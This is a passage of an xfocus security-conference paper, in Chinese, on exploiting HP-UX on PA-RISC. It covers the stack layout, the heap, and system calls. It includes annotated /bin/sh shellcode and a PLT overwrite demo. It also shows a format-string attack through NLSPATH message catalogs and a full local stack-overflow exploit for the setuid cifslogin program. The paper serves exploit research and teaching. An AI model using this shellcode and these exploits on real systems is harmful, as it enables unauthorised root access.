http://www.xfocus.org , http://www.xfocus.net 第 96页 共 218页

Page 97: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

LDW -112(%r30),%r26 ;offset 0x24 ADDIL LR'SD$test2-$global$,%r27,%r1 ;offset 0x28 LDW RR'SD$test2-$global$(%r1),%r25 ;offset 0x2c LDIL L'$$mulI,%r31 ;offset 0x30 .CALL ;in=25,26;out=29; (MILLICALL) BE,L R'$$mulI(%sr4,%r31),%r31 ;offset 0x34 NOP ;offset 0x38 STW %r29,-112(%r30) ;offset 0x3c ADDIL LR'str-$global$,%r27,%r1 ;offset 0x40 LDO RR'str-$global$(%r1),%r26 ;offset 0x44 LDW -112(%r30),%r25 ;offset 0x48 LDIL L'printf,%r31 ;offset 0x4c .CALL ARGW0=GR,ARGW1=GR,RTNVAL=GR ;in=25,26;out=28; BE,L R'printf(%sr4,%r31),%r31 ;offset 0x50 COPY %r31,%r2 ;offset 0x54 LDW -112(%r30),%r28 ;offset 0x58 LDW -148(%r30),%r2 ;offset 0x5c BVE (%r2) ;offset 0x60 .EXIT LDO -128(%r30),%r30 ;offset 0x64

.PROCEND ;out=28;

.SPACE $TEXT$

.SUBSPA$CODE$

.SPACE $PRIVATE$,SORT=16

.SUBSPA$DATA$,QUAD=1,ALIGN=64,ACCESS=0x1f,SORT=16

.SUBSPA$SHORTDATA$,QUAD=1,ALIGN=64,ACCESS=0x1f,SORT=24str

.ALIGN 8

.STRINGZ " %i \n"y

.ALIGN 4

.STRING "\x00\x00\x00\x02"x

.ALIGN 4

.STRINGZ "\x00\x00\x00"SD$test2

.ALIGN 8

.STRING "\x00\x00\x00\x05"

.IMPORT$global$,DATA

.SPACE $PRIVATE$

.SUBSPA$SHORTDATA$

.EXPORT x

.EXPORT y

.EXPORT str

.SPACE $TEXT$

http://www.xfocus.org , http://www.xfocus.net 第 97页 共 218页

Page 98: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

.SUBSPA$CODE$

.EXPORT main,ENTRY,PRIV_LEV=3,RTNVAL=GR,LONG_RETURN

.IMPORTprintf,CODE

.IMPORT$$mulI,MILLICODE

.END

第三节 运行时体系结构(Run-time Architecthure)

熟悉 PA 结构及各个指令能帮助我们轻松的看懂反汇编程序和跟踪调试程序以及编写更加有效的 shellcode,而越多的了解运行时体系结构就越能够帮助我们编写利用程序。

运行时体系结构主要包括以下几个方面:空间布局、函数调用、系统调用。

3.1 程序空间布局当程序运行起来时其空间布局如下,系统初始化了数据指针寄存器 DP和空间寄存器

SR4、SR5、SR7,及状态寄存器 PSW。

http://www.xfocus.org , http://www.xfocus.net 第 98页 共 218页

Page 99: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

注意:栈空间的增长方向是从低地址往高地址增加的。

http://www.xfocus.org , http://www.xfocus.net 第 99页 共 218页

Page 100: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

3.2 函数调用的栈分布

栈增长方向由低向高,和很多系统都不同。 分配栈空间时栈空间大小总是以 64 字节为单位分配的。 寄存器保护区用于在函数入口处保存一些可能会被破坏的寄存器值,以便在函数退出时恢复这些寄存器。

对其数据起始就是无用数据区,由于栈空间大小以 64 字节对齐,就有可能有些地址是不会被使用的。

参数存放区和栈帧标识区将在后面专门介绍。

3.3 叶子函数和非叶子函数非叶子函数指内部会再调用其他函数的函数,如:int callee(){ return printf(“Hello World\n”);}

叶子函数指内部不会再调用其他函数的函数,如:int add(int x,int y){

http://www.xfocus.org , http://www.xfocus.net 第 100页 共 218页

Page 101: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

return x+y;}

叶子函数和非叶子函数的区分对我们非常重要:非叶子函数在进入时会将函数返回地址存放到父函数的栈帧标识区中,返回时再取出来并返回。比如 sprintf 函数是非叶子函数,如果 caller如下:caller(){ char buff[32]; sprintf(buff,”%s”,用户输入的数据);}

对照上图我们可以看到 sprintf 后 sprintf会首先将返回地址寄存器%RP 存放到 caller的栈帧标识区,然后开始往 caller的局部变量区写数据,最后从 caller的栈帧标识区读出返回地址然后再跳转到该地址运行。由于没有检查用户输入长度这样就能覆盖 sprintf在 caller 栈帧标识区中存放的返回地址从而修改程序执行流程。同样如果我们调用的是 strcpy:caller(){ char buff[32]; strcpy(buff,用户输入的数据);}

这样也能溢出 caller的 buff 数组,但是由于 strcpy是叶子节点他不会使用栈来存放返回地址,因此我们没有机会修改程序流程。

3.4 alloc()函数和其他系统一样,HP上 alloc用于在当前栈中动态分配空间。

http://www.xfocus.org , http://www.xfocus.net 第 101页 共 218页

Page 102: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

对于 alloc 分配的空间如果出现溢出就等同局部数组出现溢出。

3.5 函数栈的参数存放区和栈帧标识区

3.5.1 参数存放区调用函数时如果参数小于或等于 4个则通过寄存器传递,如果大于 4个就需要用调用

函数的栈来传递了。但无论参数多少调用函数都始终在自己的栈中保留 4个 32位地址用于存放 arg0-arg3。当小于 4个参数时 caller通过寄存器将参数传递给 callee,而通常 collee会在开始

处将寄存器%r26、%r25、%r24、%r23 存放到父函数 caller的参数存放区。 以后对参数的引用在通过父函数的参数存放区来读取。当参数个数大于 4个时,caller的栈参数存放区被分配了相应的空间,在调用 callee

前 caller 将多出的参数存放到参数存放区相应的地方,将头 4个参数放入寄存器中。进入callee 后 callee同样首先将 4个参数寄存器存入父函数 caller的参数存放区,并且以后通过这里引用参数。从上图中我们可以看到参数存储区大小为:Size = MaxArgN * 4; If(Size < 32) Size = 32;

http://www.xfocus.org , http://www.xfocus.net 第 102页 共 218页

Page 103: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

MaxArgN为函数中调用的所有其他函数中参数最多的一个的参数个数。并且至少要保留 4个参数的存放空间。同时我们看到当出现格式化字符串漏洞时对参数的引用将向低地址,将能够访问到函

数的局部变量、再向上能够访问到程序的命令行参数和环境变量。

3.5.2 栈帧标识区栈标识区中值得考察的有 SP-20 : 非叶子节点函数的返回地址。 SP-24 : 当调用动态连接库时使用该地址来存放返回地址。 SP-8 : 当调用动态连接库时由动态连接库内部函数调用进入重定位节时使用。我们最关心的时 SP-24,比如调用 sprintf 造成 caller本地 buffer溢出时我们就需要

修改该地址来修改程序流程。 注意此时不应该覆盖 SP-20 处,因为该地址被 sprintf设置为 Export stub的地址,如果被改写可能造成程序无法从共享空间段回到代码空间段(和C库的版本有关,HP-UX B11.0的 C库的 sprintf 将出错,而 HP-UX B11.11的 C库没关系)。但通常建议覆盖动态链接库的函数返回地址不要覆盖到 SP-20 处。在下面这种情况下我们就应该覆盖 SP-20 处,并且可以大面积的覆盖。void caller()

http://www.xfocus.org , http://www.xfocus.net 第 103页 共 218页

Page 104: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

{ char buff[32]; callee(buff,”用户输入字符串”);}void callee(char * dstr,const char * sstr){ strcpy(dstr,sstr);}

对于 SP-8还有待研究,目前对他了解的不多。

3.6 调用动态链接库函数

当调用动态链接库函数如 getenv()等时整个过程比调用本地的函数负责很多,先后有:<1>. 而是首先转到了称为 Import Stub的一段代码处(使用到的每个外部函数对应一份),此处主要完成以下操作: 从 PTL中加载目标地址。 从 PTL中加载目标模块的链接表指针到%r19。 将返回地址写入 SP-24 处。<2>. 转入目标函数的称为 Export Stub的一段代码处(动态链接库的每个函数对应一份),此处将进行如下操作: 分支到真正的目标函数执行,并将 SP-20 处的返回地址填为自己内部的地址。 从目标函数返回后从 SP-24 处取出真正的返回地址。 跳转回到 caller。其流程如下:

http://www.xfocus.org , http://www.xfocus.net 第 104页 共 218页

Page 105: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

3.7 堆空间分配目前对堆空间分配还没有研究多少,并不知道堆溢出是否可以利用。但已知一些信息

如下: 程序刚开始运行时会分配一个堆空间。并且如果该空间用完后再次要求分配空间时会按 4k为单位分配一个新的空间。

在以 4k为单位的子空间内由某种数据结构算法对子空间进行管理。 每次 malloc(n)会以 4 字节为单位分配一段地址。 但分配的真正大小为 (n-1)/4 *4 +4 + 8 其中(n-1)/4 * 4 + 4 为以 4自己对其分配的大小, 附加的 8个为堆管理内部使用的信息。 其中前 4 字节存放了一个地址,后 4 字节似乎存放了该内存块中空闲空间大小。测试如下:#include<stdio.h>int main(){

char *p1,*p2,*p3;p1=malloc(8);p2=malloc(8);p3=malloc(8);free(p1);

http://www.xfocus.org , http://www.xfocus.net 第 105页 共 218页

Page 106: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

free(p2);free(p3);

}(gdb) break mainBreakpoint 1 at 0x289c: file t.c, line 4.(gdb) rStarting program: /house/tk/./t

Breakpoint 1, main () at t.c:44 p1=malloc(8);(gdb) next5 p2=malloc(8);(gdb) x/16x p1 执行完 p1=malloc(8)后0x40003380: 0x00000000 0x00000000 0x40001380 0x00000c700x40003390: 0x00000000 0x00000000 0x00000000 0x000000000x400033a0: 0x00000000 0x00000000 0x00000000 0x000000000x400033b0: 0x00000000 0x00000000 0x00000000 0x00000000(gdb) x/16x 0x400013800x40001380: 0x00000000 0x00000000 0x00000000 0x00000c700x40001390: 0x4000338c 0x00000000 0x00000000 0x000000000x400013a0: 0x00000000 0x00000000 0x00000000 0x000000000x400013b0: 0x00000000 0x00000000 0x00000000 0x00000000(gdb) next6 p3=malloc(8);(gdb) x/16x p1 执行完 p2=malloc(8)后0x40003380: 0x00000000 0x00000000 0x40001380 0x000000110x40003390: 0x00000000 0x00000000 0x40001380 0x00000c600x400033a0: 0x00000000 0x00000000 0x00000000 0x000000000x400033b0: 0x00000000 0x00000000 0x00000000 0x00000000(gdb) x/16x 0x400013800x40001380: 0x00000000 0x00000000 0x00000000 0x00000c600x40001390: 0x4000339c 0x00000000 0x00000000 0x000000000x400013a0: 0x00000000 0x00000000 0x00000000 0x000000000x400013b0: 0x00000000 0x00000000 0x00000000 0x00000000(gdb) next7 free(p1);(gdb) x/16x p1 执行完 p3=malloc(8)后0x40003380: 0x00000000 0x00000000 0x40001380 0x000000110x40003390: 0x00000000 0x00000000 0x40001380 0x000000110x400033a0: 0x00000000 0x00000000 0x40001380 0x00000c500x400033b0: 0x00000000 0x00000000 0x00000000 0x00000000(gdb) x/16x 0x400013800x40001380: 0x00000000 0x00000000 0x00000000 0x00000c500x40001390: 0x400033ac 0x00000000 0x00000000 0x000000000x400013a0: 0x00000000 0x00000000 0x00000000 0x00000000

http://www.xfocus.org , http://www.xfocus.net 第 106页 共 218页

Page 107: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

0x400013b0: 0x00000000 0x00000000 0x00000000 0x00000000(gdb) next8 free(p2);(gdb) x/16x p1 执行完 free(p1)后0x40003380: 0x00000000 0x00000000 0x4000337d 0x000000110x40003390: 0x00000000 0x00000000 0x40001380 0x000000110x400033a0: 0x00000000 0x00000000 0x40001380 0x00000c500x400033b0: 0x00000000 0x00000000 0x00000000 0x00000000(gdb) x/16x 0x400013800x40001380: 0x00000000 0x40001394 0x00000000 0x00000c500x40001390: 0x400033ac 0x40001380 0x00000000 0x000000000x400013a0: 0x00000010 0x4000337c 0x00000000 0x000000000x400013b0: 0x00000000 0x00000000 0x00000000 0x00000000(gdb) x/16x 0x4000337d0x4000337d: 0x00001000 0x00000000 0x00000040 0x00337d000x4000338d: 0x00001100 0x00000000 0x00000040 0x001380000x4000339d: 0x00001100 0x00000000 0x00000040 0x001380000x400033ad: 0x000c5000 0x00000000 0x00000000 0x00000000(gdb) next9 free(p3);(gdb) x/16x p1 执行完 free(p2 后0x40003380: 0x00000000 0x00000000 0x4000337d 0x000000100x40003390: 0x00000000 0x00000000 0x4000337d 0x000000110x400033a0: 0x00000000 0x00000000 0x40001380 0x00000c500x400033b0: 0x00000000 0x00000000 0x00000000 0x00000000(gdb) x/16x 0x400013800x40001380: 0x00000000 0x40001394 0x00000000 0x00000c500x40001390: 0x400033ac 0x40001380 0x00000000 0x000000000x400013a0: 0x00000020 0x4000337c 0x00000000 0x000000000x400013b0: 0x00000000 0x00000000 0x00000000 0x00000000(gdb) x/16x 0x4000337d0x4000337d: 0x00002000 0x00000000 0x00000040 0x00337d000x4000338d: 0x00001000 0x00000000 0x00000040 0x00337d000x4000339d: 0x00001100 0x00000000 0x00000040 0x001380000x400033ad: 0x000c5000 0x00000000 0x00000000 0x00000000(gdb) next11 }(gdb) x/16x p1 执行完 free(p3)后0x40003380: 0x00000000 0x00000000 0x4000337d 0x000000100x40003390: 0x00000000 0x00000000 0x4000337d 0x000000100x400033a0: 0x00000000 0x00000000 0x4000337d 0x00000c500x400033b0: 0x00000000 0x00000000 0x00000000 0x00000000(gdb) x/16x 0x4000337d0x4000337d: 0x000c8000 0x00000000 0x00000040 0x00337d000x4000338d: 0x00001000 0x00000000 0x00000040 0x00337d00

http://www.xfocus.org , http://www.xfocus.net 第 107页 共 218页

Page 108: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

0x4000339d: 0x00001000 0x00000000 0x00000040 0x00337d000x400033ad: 0x000c5000 0x00000000 0x00000000 0x00000000(gdb) x/16x 0x400013800x40001380: 0x00000000 0x40001394 0x00000000 0x00000c500x40001390: 0x400033ac 0x00000000 0x00000000 0x000000000x400013a0: 0x00000c80 0x4000337c 0x00000000 0x000000000x400013b0: 0x00000000 0x00000000 0x00000000 0x00000000(gdb)

目前发现如果将附加的后 4个表示大小的值改为较大的地址那么在 free时会产生对无效页面的访问而造成程序被中止并产生一个 core文件。还需要进一步的分析。

3.8 系统调用与 SHELLCODE

系统空间段由%sr7寄存器标识。系统调用机制和大多数 unix一样由一个统一的系统调用函数(或中断)处理,进入系统调用前指定相应参数到参数寄存器中及相应的系统调用号到寄存器%r22中即可;系统调用返回值在寄存器%r28中。系统调用入口 SYSCALLGATE在/usr/include/sys/syscall.h中定义,也可以直接使用其

值 0xC0000004。常见的系统调用及号码有:EXIT 1 FORK 2 READ 3 WRITE 4 OPEN 5 CLOSE 6CHMOD 15 SETUID 23 DUP 41 SETGID 46 EXECVE 59 ACCEPT 275 BIND 276 CONNECT 277 LISTEN 281 SOCKET 290

那么我们完成一个 setuid(0)调用为:XOR %r26,%r26,%r26 ARG0 = 0LDIL L’0xc0000004,%r1 老步骤,为了得到一个 32位数BLE R’0xc00000004,(%sr7,%r1) 进入系统调用LDO,23,%r22 设置系统调用号有了以上的知识参照 PA 指令手册和汇编手册我们来看看别人的 shellcode,作为参考引

用www.lsd-pl.net的 shellcode如下:char shellcode[]= /* 7*4+8 bytes */

"\xeb\x5f\x1f\xfd" /* bl <shellcode+4>,%r26 */ %r26= <shellcode+8+4 -1 >"\x0b\x39\x02\x99" /* xor %r25,%r25,%r25 */ 空指令,延时插槽"\xb7\x5a\x40\x22" /* addi,< 0x11,%r26,%r26 */ %r26指向”/bin/sh” "\x0f\x40\x12\x0e" /* stbs %r0,7(%r26) */ 在”/bin/sh”后添加一个字符串结束

http://www.xfocus.org , http://www.xfocus.net 第 108页 共 218页

Page 109: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

符’\0’"\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */"\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */ "\xb4\x16\x70\x16" /* addi,> 0xb,%r0,%r22 */ 置系统调用号22"/bin/sh"

这里边有一个难点,就是第一个指令,为了理解写一个程序 t.c如下:int main(){}编译 cc t.c –S得到汇编程序 t.s ,以此为模板修改后如下: .LEVEL 2.0N .SPACE $TEXT$,SORT=8 .SUBSPA $CODE$,QUAD=0,ALIGN=4,ACCESS=0x2c,CODE_ONLY,SORT=24main .PROC .CALLINFO FRAME=0,ORDERING_AWARE .ENTRYllab bl llab + 4,%r1 BVE (%r2) ;offset 0x0 .EXIT NOP ;offset 0x4 .PROCEND ;out=28;

.SPACE $TEXT$ .SUBSPA $CODE$ .SPACE $PRIVATE$,SORT=16 .SPACE $TEXT$ .SUBSPA $CODE$ .EXPORT main,ENTRY,PRIV_LEV=3,RTNVAL=GR,LONG_RETURN .END

用 gdb 调试:bash-2.04$ gdb ./a.out (gdb) disass mainDump of assembler code for function main:0x27a8 <main>: b,l 0x27ac <main+4>,%r10x27ac <main+4>: ret0x27b0 <main+8>: nopEnd of assembler dump.(gdb) break mainBreakpoint 1 at 0x27a8

http://www.xfocus.org , http://www.xfocus.net 第 109页 共 218页

Page 110: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

(gdb) rBreakpoint 1, 0x27a8 in main ()(gdb) nexti0x27ac in main () (gdb) p/x $r1$1 = 0x27b3

指令 llab: b,l llab+4>,%r1 执行完的结果令人很意外,因为 B手册里说地址是 4 字节对齐的!真是匪夷所思!不过知道这一点后写 shellcode也就没有多大困难了。

http://www.xfocus.org , http://www.xfocus.net 第 110页 共 218页

Page 111: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第四节 溢出利用点滴

4.1 64位和 32位工具使用说明在 HP-UX上调试溢出程序如果内核是 64位那么无论调试 32位还是 64位程序都应该

使用 gdb64,否则可能会有问题;同样如果内核是 32位那么就必须使用 32位的 gdb。其关键是 gdb和内核联系紧密,必须使用对应的版本。

HP-UX自带了 c 编译器 cc,这是一个 32位的编译器,也是最推荐的编译器。由于系统自带的命令都是 32位,如果要攻击他们那么我们的攻击程序也必须使用 32位的 c 编译器。如果我们使用了 64位的 c 编译器编译溢出利用程序,由于 64位和 32位的程序空间结构不同那么在 64位空间计算出来的跳转地址等在目标被加载后的 32位环境中均不正确而无法利用。对于 gcc,同样攻击利用程序的目标代码为 32位我们就必须使用 32位的 gcc;如果目

标程序代码为 64位我们就必须使用 64位的 gcc。

4.2 栈溢出栈溢出在上一章已经详细讲解了,这里就不多说了,值得注意的是 HP上栈溢出需要

至少两层调用 caller -> callee 为一层、callee要满足非叶子节点还需要调用其他函数。另外HP-UX B11.11 和 11.0的 libc中 str系列都是叶子节点,使得栈溢出利用机会减了不少。

4.3 堆溢出堆溢出能够造成程序崩溃是我们看到了一点希望,是否可以利用还需进一步研究。

4.4 初始化数据区溢出从程序内存分部图我们可以看到函数导入表 PLT紧接在已初始化数据区。而 PLT中存

放着调用外部函数的地址信息,如果我们覆盖这些地址信息就能够修改程序流程。一个比较有趣的是下面这两个定义:

char *p="hello"; 这种定义 cc会把”hello”放到已初始化数据区。 char p[]="hello";这种定义 cc会把”hello”放在只读数据区。如果有程序员使用第一种方法定义 p 后又往 p 拷贝数据就有问题了。当然所有对已初始化数据区的未检测长度的数据拷贝都将是致命的。

http://www.xfocus.org , http://www.xfocus.net 第 111页 共 218页

Page 112: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

实际考察一下该溢出情况:#include<stdio.h>int x = 5;void main(void){ char *p="Hello World"; /* p 指向在已初始化数据区” int i=0; char buff[1024]; for(i=0;i<1024;buff[i++]='A'); buff[1023]=0; strcpy(p,buff); /*这个拷贝将覆盖 PLT中存放 strcpy 函数地址的内存单元 */ strcpy(p,buff); /* 这次调用将会转到 0x41414140 处 (指令地址需 4 字节对齐,*/

/* 如果没有对齐会自动对齐而不会出错:) */

}

用 gdb 实际看看:bash$ cc t.c -o tbash$ gdb ./t(gdb) rStarting program: ./t(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...Program received signal SIGSEGV, Segmentation fault.0x41414140 in ?? () 看执行到这里来了。(gdb) bt#0 0x41414140 in ?? ()#1 0x2848 in main ()Error accessing memory address 0x7f7efbac: Bad address.

对已初始化数据区的溢出应该是最容易的方式了,不像栈溢出有很多限制,也不像格式化问题那么复杂。

4.5 格式化字符串问题格式化字符串问题所有系统通用,更多的利用信息可以参考 warning3等的相关文章。目前测试发现 HP-UX都存在本地语言系统的格式化字符串问题,这使得我们可以利用

几乎所有带 s位的程序取得特权,而且HP至今没有相应的补丁。HP的本地化语言信息放在/usr/lib/nls/下,每一个语言对应一个目录,如 LANG=C就对

应目录 C/,而每一个自目录下存放大量的.cat文件,这些就是语言信息文件,每个程序对 http://www.xfocus.org , http://www.xfocus.net 第 112页 共 218页

Page 113: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

应一个信息文件如 lp.cat。每一个程序运行时根据用户环境变量信息选择不同的语言系统,而显示不同的信息。

比如:bash-2.04$ export LANG=chinese-sbash-2.04$ ct abcct: 电话号码错误 -- abcbash-2.04$ export LANG=Cbash-2.04$ ct abcct: bad phone number – abc

同时我们可以直接通过 NLSPATH 环境变量强制指定一个信息文件,使得程序运行时直接从该文件中取信息。取语言信息函数为 catgets(),其定义为: char *catgets( nl_catd catd, int set_num, int msg_num, const char *def_str );我们最关心的是 set_num和msg_num。 他们对应于 cat文件中的 set号码和msg号码,从而对应一个特定的消息。cat文件为 2 进制格式,可以用 gencat命令根据文本信息文件生成:其源文本信息文件格斯为:$set set_numbermsg_number1 “消息 1”msg_number2 “消息 2” . . . . .当然我们也可以用 dumpmsg来查看一个.cat文件信息。做个试验:bash-2.04$ ct abcct: bad phone number -- abc

然后对比根据打印的消息和用 dumpmsg对/usr/lib/nls/C/ct.cat 显示的结果可以发现该消息对应号码为 set_num = 1、 msg_num=1128。我们可以生成一个自己的信息文件:

bash-2.04$ ct abc

http://www.xfocus.org , http://www.xfocus.net 第 113页 共 218页

Page 114: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

ct: bad phone number -- abcbash-2.04$ cat >k$set 11128 "Error %s :)"Ctrl+Dbash-2.04$ gencat k.cat kbash-2.04$ ct abcError abc :) <- Here ,我们的信息。bash-2.04$

我们再来,让他出现问题:bash-2.04$ cat >k$set 11128 %n%n%n%n%n%n%n%n%nCtrl+Dbash-2.04$ gencat k.cat k ;export NLSPATH=./k.catbash-2.04$ ct abcBus error <- 出问题了:)该问题的根本原因是:char * pmsg = catgets( . . . );xprintf(pmsg,参数 1,参数 2, . . . .); //格式化字符串问题。或者:sprintf(buffer,pmsg,arg1,arg2 . . . ); //格式化字符串问题和缓冲区溢出问题!

4.6 利用环境变量存放信息使用环境变量存放 shellcode或者特殊信息优势是定位方便准确。写两个程序来测试定位问题:t1.c,取环境变量显示其地址,并调用 putenv,然后用 execl 执行 t2,来考察 t2中该变量的位置。#include<stdio.h>int main(argc,argv)int argc;char ** argv;{ char *p; if(argc ==1) { printf("./usage t1 arg\n"); return 1;

http://www.xfocus.org , http://www.xfocus.net 第 114页 共 218页

Page 115: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

} p = getenv("SHELL"); printf("T1 env SHELL : 0x%p\n",p); putenv(argv[1]); execl("./t2","t2",0);}

t2.c:显示环境变量的位置和长度:#include<stdio.h>void main(void){ char * p = getenv("SHELL"); printf("T2 env SHELL : 0x%p len=%i\n",p,strlen(p));}

测试如下:bash-2.04$ ./t1 SHELL=`perl -e 'print "A"x7'`T1 env SHELL : 0x7f7f03bfT2 env SHELL : 0x7f7f03af len=7bash-2.04$ ./t1 SHELL=`perl -e 'print "A"x16'`T1 env SHELL : 0x7f7f03c8T2 env SHELL : 0x7f7f03af len=16bash-2.04$ ./t1 SHELL=`perl -e 'print "A"x100'`T1 env SHELL : 0x7f7f041cT2 env SHELL : 0x7f7f03af len=100bash-2.04$ ./t1 SHELL=`perl -e 'print "A"x4096'`T1 env SHELL : 0x7f7f13b8T2 env SHELL : 0x7f7f03af len=4096bash-2.04$ ./t1 SHELL=`perl -e 'print "A"x8129'`T1 env SHELL : 0x7f7f2379T2 env SHELL : 0x7f7f03af len=8129bash-2.04$ ./t1 SHELL=`perl -e 'print "A"x81290'`T1 env SHELL : 0x7f804142T2 env SHELL : 0x7f7f03af len=81290

可以看到对特定程序(这儿为 t1)通过 exec 相关函数使用特定参数(我们这儿就一个argv[0]=”t2”)执行其他程序(我们这儿是 t2)时,目标程序空间内部的该环境变量存放的位置可以非常精确的取得。

http://www.xfocus.org , http://www.xfocus.net 第 115页 共 218页

Page 116: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第五节 溢出程序实例分析

5.1 cifslogin漏洞简介HP-UX自带了一套 cifs系统,该系统主要使用 smb协议和 windows主机通信。该软件

包的 cifslogin 程序存在一些问题。该程序使用如下:cifslogin [server-name] username [options] 他在处理-p 参数时存在一个堆溢出问题,处理 username时存在一个栈溢出问题。考察这个栈溢出如下:main(. . .){   buffer[2240];   . . .   sprintf(buffer,"..%s..",argv[username]);   . . .}由于 sprintf为非叶子函数,故覆盖了 sprintf的返回地址。

5.2 溢出程序相应溢出程序如下:#include<stdio.h>#define T_LEN 2304#define BUFF_LEN 2176#define NOP 0x0b390280char shellcode[]= "\xe8\x3f\x1f\xfd\xb4\x23\x03\xe8\x60\x60\x3c\x61\x0b\x39\x02" "\x99\x34\x1a\x3c\x53\x0b\x43\x06\x1a\x20\x20\x08\x01\x34\x16\x03" "\xe8\xe4\x20\xe0\x08\x96\xd6\x03\xfe/bin/shA";long addr;char buffer[T_LEN];main(){ int addr_off =800 ; int n=BUFF_LEN/4,i=0; long * ap = (long *) &buffer[BUFF_LEN];

http://www.xfocus.org , http://www.xfocus.net 第 116页 共 218页

Page 117: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

char * sp = &buffer[BUFF_LEN-strlen(shellcode)]; long * np = (long *) buffer; addr = ((long) &addr_off + T_LEN ) & 0xffffff40 +0x40 ; for(i=0;i<n;np[i++]=NOP); memcpy(sp,shellcode,strlen(shellcode)); for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr+addr_off); execl("/opt/cifsclient/bin/cifslogin","cifslogin","123",buffer,NULL);}

5.3 溢出程序分析该溢出是一个标准的栈溢出,溢出情况如下:

由于写这个程序是在 HP-UX B11.11上,当时没有意识到 HP-UX B11.0的栈帧标识区的MAIN_SP-20 处不能被覆盖,所以这个程序在 HPUX B11.0上会有问题,需要修改程序只溢出覆盖完 MAIN_SP-24。

http://www.xfocus.org , http://www.xfocus.net 第 117页 共 218页

Page 118: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第六节 参考资料

